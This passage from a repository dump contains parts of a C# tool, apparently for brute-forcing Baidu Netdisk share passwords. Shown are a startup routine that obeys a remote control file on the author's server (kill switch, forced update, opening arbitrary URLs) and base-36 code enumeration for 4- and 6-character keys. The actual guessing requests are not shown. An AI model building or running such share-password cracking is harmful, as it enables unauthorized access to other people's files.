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\r\n        m10LB/oAAAAASUVORK5CYII=\r\n</value>\r\n  </data>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Program.cs",
    "content": "﻿using System;\r\nusing System.Threading;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    internal static class Program\r\n    {\r\n        /// <summary>\r\n        /// 应用程序的主入口点。\r\n        /// </summary>\r\n        [STAThread]\r\n        private static void Main()\r\n        {\r\n            bool Uniquely_Identifies_TestPassword;\r\n            // 在此方法返回时，如果创建了局部互斥体（即，如果 name 为 null 或空字符串）或指定的命名系统互斥体，则包含布尔值 true；\r\n            // 如果指定的命名系统互斥体已存在，则为false\r\n            using (Mutex mutex = new Mutex(true, Application.ProductName, out Uniquely_Identifies_TestPassword))\r\n            {\r\n                if (Uniquely_Identifies_TestPassword)\r\n                {\r\n                    Application.EnableVisualStyles();\r\n                    Application.SetCompatibleTextRenderingDefault(false);\r\n                    if (ServiceVerificat())\r\n                    {\r\n                        Application.Run(new Main());\r\n                    }\r\n                }\r\n                else//程序已经运行的情况，则弹出消息提示并终止此次运行\r\n                {\r\n                    MessageBox.Show(\"应用程序已经启动了\");\r\n                    System.Threading.Thread.Sleep(1000);\r\n                    // 终止此进程并为基础操作系统提供指定的退出代码。\r\n                    System.Environment.Exit(1);\r\n                }\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 程序服务验证\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        private static bool ServiceVerificat()\r\n        {\r\n            //返回的状态\r\n            bool status = false;\r\n\r\n            try\r\n            {\r\n                new HttpProxy().SwitchOff();\r\n                string Serve = HttpHelp.HttpGet(\"http://www.zgcwkj.top/TestPassword/Serve.txt\");\r\n                string[] Serves = Serve.Replace(\"\\r\", \"\").Split('\\n');\r\n\r\n                #region 更新模块\r\n\r\n                if (Serves.Length >= 1)\r\n                {\r\n                    if (Serves[0] != \"\")\r\n                    {\r\n                        string[] Update = Serves[0].Split('|');\r\n                        //是否强制更新\r\n                        if (Convert.ToBoolean(Update[0]))\r\n                        {\r\n                            //匹配版本号进行判断\r\n                            int versions = Convert.ToInt32(Application.ProductVersion.Replace(\".\", \"\"));\r\n                            if (versions < Convert.ToInt32(Update[1]))\r\n                            {\r\n                                //提示更新内容\r\n                                MessageBox.Show(Update[2]);\r\n                                //通过浏览器跳转\r\n                                try { System.Diagnostics.Process.Start(Update[3]); } catch { }\r\n                                //直接终止程序运行\r\n                                return false;\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n\r\n                #endregion 更新模块\r\n\r\n                #region 程序状态\r\n\r\n                if (Serves.Length >= 2)\r\n                {\r\n                    if (Serves[1] != \"\")\r\n                    {\r\n                        //程序状态\r\n                        if (Convert.ToBoolean(Serves[1])) { status = true; }\r\n                    }\r\n                }\r\n\r\n                #endregion 程序状态\r\n\r\n                #region 提示内容\r\n\r\n                if (Serves.Length >= 3)\r\n                {\r\n                    if (Serves[2] != \"\")\r\n                    {\r\n                        //提示消息内容\r\n                        MessageBox.Show(Serves[2]);\r\n                    }\r\n                }\r\n\r\n                #endregion 提示内容\r\n\r\n                #region 浏览器跳转\r\n\r\n                if (Serves.Length >= 4)\r\n                {\r\n                    if (Serves[3] != \"\")\r\n                    {\r\n                        //通过浏览器跳转\r\n                        try { System.Diagnostics.Process.Start(Serves[3]); } catch { }\r\n                    }\r\n                }\r\n\r\n                #endregion 浏览器跳转\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                string str = e.Message;\r\n                MessageBox.Show(\"请检查网络状态\");\r\n                status = false;\r\n            }\r\n            return status;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.InteropServices;\r\n\r\n// 有关程序集的一般信息由以下\r\n// 控制。更改这些特性值可修改\r\n// 与程序集关联的信息。\r\n[assembly: AssemblyTitle(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyDescription(\"百度网盘分享文件密码进行无穷测试工具\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"zgcwkj\")]\r\n[assembly: AssemblyProduct(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyCopyright(\"Copyright ©  2018\")]\r\n[assembly: AssemblyTrademark(\"zgcwkj\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n//将 ComVisible 设置为 false 将使此程序集中的类型\r\n//对 COM 组件不可见。  如果需要从 COM 访问此程序集中的类型，\r\n//请将此类型的 ComVisible 特性设置为 true。\r\n[assembly: ComVisible(false)]\r\n\r\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\r\n[assembly: Guid(\"ac42684f-60e0-464c-881d-b679da8d8a7b\")]\r\n\r\n// 程序集的版本信息由下列四个值组成:\r\n//\r\n//      主版本\r\n//      次版本\r\n//      生成号\r\n//      修订号\r\n//\r\n//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值，\r\n// 方法是按如下所示使用“*”: :\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.8.0.6\")]\r\n[assembly: AssemblyFileVersion(\"1.8.0.6\")]"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    using System;\r\n    \r\n    \r\n    /// <summary>\r\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\r\n    /// </summary>\r\n    // 此类是由 StronglyTypedResourceBuilder\r\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\r\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\r\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\r\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    internal class Resources {\r\n        \r\n        private static global::System.Resources.ResourceManager resourceMan;\r\n        \r\n        private static global::System.Globalization.CultureInfo resourceCulture;\r\n        \r\n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\r\n        internal Resources() {\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   返回此类使用的缓存的 ResourceManager 实例。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Resources.ResourceManager ResourceManager {\r\n            get {\r\n                if (object.ReferenceEquals(resourceMan, null)) {\r\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"zgcwkj.Properties.Resources\", typeof(Resources).Assembly);\r\n                    resourceMan = temp;\r\n                }\r\n                return resourceMan;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   使用此强类型资源类，为所有资源查找\r\n        ///   重写当前线程的 CurrentUICulture 属性。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Globalization.CultureInfo Culture {\r\n            get {\r\n                return resourceCulture;\r\n            }\r\n            set {\r\n                resourceCulture = value;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    \r\n    \r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"14.0.0.0\")]\r\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\r\n        \r\n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\r\n        \r\n        public static Settings Default {\r\n            get {\r\n                return defaultInstance;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\r\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\r\n  <Profiles>\r\n    <Profile Name=\"(Default)\" />\r\n  </Profiles>\r\n  <Settings />\r\n</SettingsFile>\r\n"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/StaticClass.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 静态类\r\n    /// </summary>\r\n    public static class StaticClass\r\n    {\r\n        #region 静态字符串\r\n\r\n        /// <summary>\r\n        /// 线程状态\r\n        /// </summary>\r\n        public static bool status { get; set; }\r\n\r\n        /// <summary>\r\n        /// 目标连接\r\n        /// </summary>\r\n        public static string url { get; set; }\r\n\r\n        /// <summary>\r\n        /// 项目的路径\r\n        /// </summary>\r\n        public static string file { get; set; }\r\n\r\n        /// <summary>\r\n        /// 配置文件的路径\r\n        /// </summary>\r\n        public static string config { get; set; }\r\n\r\n        /// <summary>\r\n        /// 代理文件的路径\r\n        /// </summary>\r\n        public static string proxy { get; set; }\r\n\r\n        #endregion 静态字符串\r\n\r\n        #region 静态方法\r\n\r\n        /// <summary>\r\n        /// Get请求\r\n        /// </summary>\r\n        public static string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n\r\n        #endregion 静态方法\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/TestPassword.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{AC42684F-60E0-464C-881D-B679DA8D8A7B}</ProjectGuid>\r\n    <OutputType>WinExe</OutputType>\r\n    <AppDesignerFolder>Properties</AppDesignerFolder>\r\n    <RootNamespace>zgcwkj</RootNamespace>\r\n    <AssemblyName>TestPassword</AssemblyName>\r\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup>\r\n    <ApplicationIcon>ico.ico</ApplicationIcon>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Deployment\" />\r\n    <Reference Include=\"System.Drawing\" />\r\n    <Reference Include=\"System.Windows.Forms\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"HttpHelp.cs\" />\r\n    <Compile Include=\"HttpProxy.cs\" />\r\n    <Compile Include=\"HttpTest.cs\" />\r\n    <Compile Include=\"Hash.cs\" />\r\n    <Compile Include=\"HttpThread.cs\" />\r\n    <Compile Include=\"Main.cs\">\r\n      <SubType>Form</SubType>\r\n    </Compile>\r\n    <Compile Include=\"Main.Designer.cs\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </Compile>\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n    <Compile Include=\"StaticClass.cs\" />\r\n    <EmbeddedResource Include=\"Main.resx\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </EmbeddedResource>\r\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\r\n      <Generator>ResXFileCodeGenerator</Generator>\r\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\r\n      <SubType>Designer</SubType>\r\n    </EmbeddedResource>\r\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Resources.resx</DependentUpon>\r\n      <DesignTime>True</DesignTime>\r\n    </Compile>\r\n    <None Include=\"Properties\\Settings.settings\">\r\n      <Generator>SettingsSingleFileGenerator</Generator>\r\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\r\n    </None>\r\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Settings.settings</DependentUpon>\r\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\r\n    </Compile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"ico.ico\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \r\n       Other similar extension points exist, see Microsoft.Common.targets.\r\n  <Target Name=\"BeforeBuild\">\r\n  </Target>\r\n  <Target Name=\"AfterBuild\">\r\n  </Target>\r\n  -->\r\n</Project>"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.23107.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"TestPassword\", \"TestPassword\\TestPassword.csproj\", \"{AC42684F-60E0-464C-881D-B679DA8D8A7B}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "TestPassword V1.8.1.0/TestPassword/Hash.cs",
    "content": "﻿using System;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public static class Hash\r\n    {\r\n        //哈希类 36进制\r\n        //有效哈希[10000000,11679615]\r\n\r\n        #region 只支持4位 By MXWXZ\r\n\r\n        public static string HashTo4Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 10000000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 3) ret += \"0\";//前导零\r\n            if (ret.Length == 2) ret += \"00\";\r\n            if (ret.Length == 1) ret += \"000\";\r\n            if (ret.Length == 0) ret += \"0000\";\r\n            return reverse(ret);\r\n        }\r\n\r\n        public static int StrTo4Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 46656;\r\n            ret += Char2Hash(str[1]) * 1296;\r\n            ret += Char2Hash(str[2]) * 36;\r\n            ret += Char2Hash(str[3]);\r\n            ret += 10000000;//防止前导零\r\n            return ret;\r\n        }\r\n\r\n        #endregion 只支持4位 By MXWXZ\r\n\r\n        #region 只支持6位 By zgcwkj\r\n\r\n        public static string HashTo6Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 100000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 5) ret += \"0\";//前导零\r\n            if (ret.Length == 4) ret += \"00\";\r\n            if (ret.Length == 3) ret += \"000\";\r\n            if (ret.Length == 2) ret += \"0000\";\r\n            if (ret.Length == 1) ret += \"00000\";\r\n            if (ret.Length == 0) ret += \"000000\";\r\n            return reverse(ret);\r\n        }\r\n\r\n        public static int StrTo6Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 60466176;\r\n            ret += Char2Hash(str[1]) * 1679616;\r\n            ret += Char2Hash(str[2]) * 46656;\r\n            ret += 